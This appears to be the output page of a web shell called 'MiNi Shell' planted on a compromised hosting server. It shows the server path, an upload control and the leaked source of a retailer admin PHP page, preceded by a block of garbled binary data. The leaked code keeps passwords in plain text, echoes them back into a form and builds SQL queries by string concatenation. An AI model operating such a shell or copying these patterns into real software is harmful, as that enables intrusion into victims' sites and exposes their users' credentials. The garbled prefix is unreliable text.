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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /hermes/bosnacweb04/bosnacweb04ac/b1072/ipg.liuyuan7592410/wb_ecom/admin/

Linux boscustweb5002.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : /hermes/bosnacweb04/bosnacweb04ac/b1072/ipg.liuyuan7592410/wb_ecom/admin/setup_ra.php

<?PHP 
	require "top.inc.php";
	$allowedRole = SUPER_ADMIN|ADMIN|RETAILER_ADMIN;
	whoAllowed($allowedRole);

	switch($_SESSION['ADMIN_ROLE']){
		case SUPER_ADMIN:
		case ADMIN:
			$retailer_id = isset($_GET['id'])?get_safe_value($con,$_GET['id']):"";
		break;
		case RETAILER_ADMIN:
			$retailer_id = $_SESSION['RETAILER_ID'];
			if(isset($_GET['id'])){
				if($retailer_id != get_safe_value($con,$_GET['id'])){
?>
					<script type="text/javascript">
					window.location.href = <?PHP echo "\"".DEFAULT_ERROR_PAGE."?err_code=a10004\"" ?>;
					</script>
<?PHP
				}
			}
		break;
	}
	if(($retailer_id=="")||($retailer_id==0)){
?>
		<script type="text/javascript">
		window.location.href = <?PHP echo "\"".DEFAULT_ERROR_PAGE."?err_code=a10007\"" ?>;
		</script>
<?PHP
		die();
	}else{
		$condition = " a.id='".$retailer_id."'";
	}

	if(isset($_POST['submit'])){
		$ret_name = get_safe_value($con,$_POST['ret_name']);
		$mobile = get_safe_value($con,$_POST['mobile']);
		$email = get_safe_value($con,$_POST['email']);
		$password = get_safe_value($con,$_POST['password']);
		$status = get_safe_value($con,$_POST["status"]);
		$location = get_safe_value($con,$_POST['location']);
		$community = get_safe_value($con,$_POST['community']);
		$address = get_safe_value($con,$_POST['address']);
		$city = get_safe_value($con,$_POST['city']);
		$province = get_safe_value($con,$_POST['province']);
		$pc = get_safe_value($con,$_POST['pc']);

		$sql = "update t_retailer set name='$ret_name',mobile='$mobile',email='$email' where id='".$retailer_id."'";
		mysqli_query($con,$sql);

		$sql = "update t_admin_users set password='$password',email='$email',mobile='$mobile' where retailer_id='".$retailer_id."' and role=".RETAILER_ADMIN;
		mysqli_query($con,$sql);

		$sql = "select * from t_pickup_address where retailer_id='".$retailer_id."'";
		$check = mysqli_num_rows(mysqli_query($con,$sql));
		$sql = ($check>0)?("update t_pickup_address set location='$location',community='$community',address='$address',city='$city',province='$province',pc='$pc',status='$status' where retailer_id='".$retailer_id."'"):("insert into t_pickup_address(retailer_id,location,community,address,city,province,pc,status) VALUES ('$retailer_id','$location','$community','$address','$city','$province','$pc','$status')");
		mysqli_query($con,$sql);
	}

	$sql = "select t1.*,t2.password from (select a.id retailer_id,a.name,a.mobile,a.email,a.ecom_url,a.logo,b.location,b.community,b.address,b.city,b.province,b.pc,b.status from t_retailer a left join t_pickup_address b on a.id=b.retailer_id where".$condition.") t1 left join t_admin_users t2 on t1.retailer_id=t2.retailer_id where t2.role=".RETAILER_ADMIN;

	$res = mysqli_query($con,$sql);
	$check = mysqli_num_rows($res);
	$msg = "";
	if($check<1){
?>
		<script type="text/javascript">
		window.location.href = <?PHP echo "\"".DEFAULT_ERROR_PAGE."?err_code=a10008\"" ?>;
		</script>
<?PHP
		die();		
	}
	$row = mysqli_fetch_assoc($res);
	$ret_name = $row['name'];
	$mobile = $row['mobile'];
	$email = $row['email'];
	$password = $row['password'];
	$ecom_url = $row['ecom_url'];
	$logo = $row['logo'];
	$location = ($row['location'])?$row['location']:"";
	$community = $row['community']?$row['community']:"";
	$address = $row['address']?$row['address']:"";
	$city = $row['city']?$row['city']:"";
	$province = $row['province']?$row['province']:"ON";
	$pc = $row['pc']?$row['pc']:"";
	$status = $row['status']?$row['status']:"";

?>
<div class="content pb-0">
	<div class="animated fadeIn">
		<div class="row">
			<div class="col-lg-12">
				<form method="POST" enctype="multipart/form-data">
					<div class="card">
						<div class="card-header"><strong>Retailer Setup: </strong><small><?PHP echo $ret_name;?></small></div>
						<div class="card-body card-block">
							<?PHP
								if($ecom_url!=""){
							?>
							<div class="form-group">
								<label for="categories" class=" form-control-label" style="display:flex;flex-direction: row;align-items: baseline;">
									<img src="<?PHP echo LOGO_SITE_PATH.$logo;?>" height=60 />
									<span style="margin-left:10px;"><strong><?PHP echo "Your ecommerce website is: ".$ecom_url;?></strong></span>
								</label>
							</div>						
							<?PHP
								} 
							?>
							<div class="form-group">
								<label for="categories" class=" form-control-label">Retailer Name</label>
								<input type="text" name="ret_name" placeholder="Enter Retailer Business name" class="form-control" required value='<?PHP echo $ret_name;?>'>
							</div>
							<div class="form-group">
								<label for="categories" class=" form-control-label">Mobile</label>
								<input type="text" name="mobile" placeholder="Enter retailer mobile number" class="form-control" required value='<?PHP echo $mobile;?>'>
							</div>
							<div class="form-group">
								<label for="categories" class=" form-control-label">Email</label>
								<input type="text" name="email" placeholder="Enter Email Address" class="form-control" required value='<?PHP echo $email;?>'>
							</div>
							<div class="form-group">
								<label for="categories" class=" form-control-label">Password</label>
								<input type="password" name="password" placeholder="Enter Password" class="form-control" required value='<?PHP echo $password;?>'>
							</div>
						</div>
					</div>
					<div class="card">
						<div class="card-header"><strong>Set Pickup Service: </strong><small></small></div>
						<div class="card-body card-block">
							<div class="form-group">
								<label class="pick_svc"><input type="radio" name="status" required value="1" <?php echo $status==1?"checked":"";?>/>I would like to provide pick up service to my customer.</label><br>
								<label class="pick_svc"><input type="radio" name="status" required value="0" <?php echo $status==0?"checked":"";?>/>I would NOT like to provide pick up service to my customer.</label>
							</div>
							<div class="form-group flex_wrap" >
								<div class="pickup_location pickup_required">
									<label for="categories" class=" form-control-label">Location</label>
									<input type="text" name="location" placeholder="Enter Pickup location (main intersection)" class="form-control" value='<?PHP echo $location;?>'>
								</div>
								<div class="pickup_community pickup_required">
									<label for="categories" class=" form-control-label">Community</label>
									<input type="text" name="community" placeholder="Enter Community" class="form-control" value='<?PHP echo $community;?>'>
								</div>
							</div>
							<div class="form-group pickup_required">
								<label for="categories" class=" form-control-label">Address</label>
								<input type="text" name="address" placeholder="Enter Address" class="form-control" value='<?PHP echo $address;?>'>
							</div>
							<div class="form-group flex_wrap" >
								<div class="pickup_city pickup_required">
									<label for="categories" class=" form-control-label">City</label>
									<input type="text" name="city" placeholder="Enter City" class="form-control" value='<?PHP echo $city;?>'>
								</div>
								<div class="pickup_province pickup_required">
									<label for="categories" class=" form-control-label">Province</label>
									<select class="form-control" name="province">
									<?PHP
										$sql = "select province from t_tax_definition order by seq_num asc";
										$res = mysqli_query($con,$sql);
										while($row=mysqli_fetch_assoc($res)){
											$is_selected = ($province==$row['province'])?"selected":"";
											echo "<option ".$is_selected.">".$row['province']."</option>";	
										}
									?>
									</select>
								</div>
								<div class="pickup_pc pickup_required">
									<label for="categories" class=" form-control-label">Postal Code</label>
									<input type="text" name="pc" placeholder="Postal Code" class="form-control" value='<?PHP echo $pc;?>'>
								</div>
							</div>
						</div>
					</div>
					<button id="payment-button" name="submit" type="submit" class="btn btn-lg btn-info btn-block">
						<span id="payment-button-amount" name="submit">Submit</span>
					</button>
					<div class="field-error"><?PHP echo $msg;?></div>
				</form>
			</div>
		</div>
	</div>
</div>

<script src="js/jquery-3.2.1.min.js"></script>
<script type="text/javascript">
function get_sub_cat(){
	var categories_id = jQuery("#categories_id").val();
	jQuery.ajax({
		url: "get_sub_cat.php",
		method: "post",
		data: "categories_id="+categories_id,
		success: function(result){
			jQuery("#sub_categories_id").html(result);
		}
	});
}

function changeAccType(){
	var role = $("#role").val();
	$("#role_name").val($("#role option:selected").text());
	switch(role){
		case <?php echo "'".ADMIN."'";?>:
			$("#div_vendor").hide();
			$("#div_retailer").hide();
		break;
		case <?php echo "'".VENDOR_ADMIN."'";?>:
		case <?php echo "'".VENDOR_USER."'";?>:
			$("#div_vendor").prop("hidden",false);
			$("#div_retailer").prop("hidden",true);		
		break;
		case <?php echo "'".RETAILER_ADMIN."'";?>:
		case <?php echo "'".RETAILER_USER."'";?>:
			$("#div_vendor").prop("hidden",true);		
			$("#div_retailer").prop("hidden",false);	
		break;
	}
}

$(function(){
	<?php
		if($status==1){
	?>
			$(".pickup_required").show();
	<?php
		}
	?>
	$("input[name=status]").on("change",function(){
		if($(this).val()==1){
			$(".pickup_required input").attr("required",true);
			$(".pickup_required").show();
		}else{
			$(".pickup_required input").attr("required",false);
			$(".pickup_required").hide();
		}
	});
});

</script>
<?PHP 
	require "footer.inc.php";
?>

Creat By MiNi SheLL
Email: devilkiller@gmail.com